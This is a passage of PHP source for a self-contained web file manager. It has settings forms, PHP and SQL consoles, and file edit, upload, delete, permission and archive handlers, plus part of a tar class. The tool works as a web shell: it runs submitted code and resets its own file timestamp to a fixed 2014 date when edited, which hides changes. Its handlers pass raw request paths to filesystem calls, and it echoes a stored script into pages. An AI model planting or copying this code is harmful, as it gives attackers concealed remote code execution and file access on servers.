'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
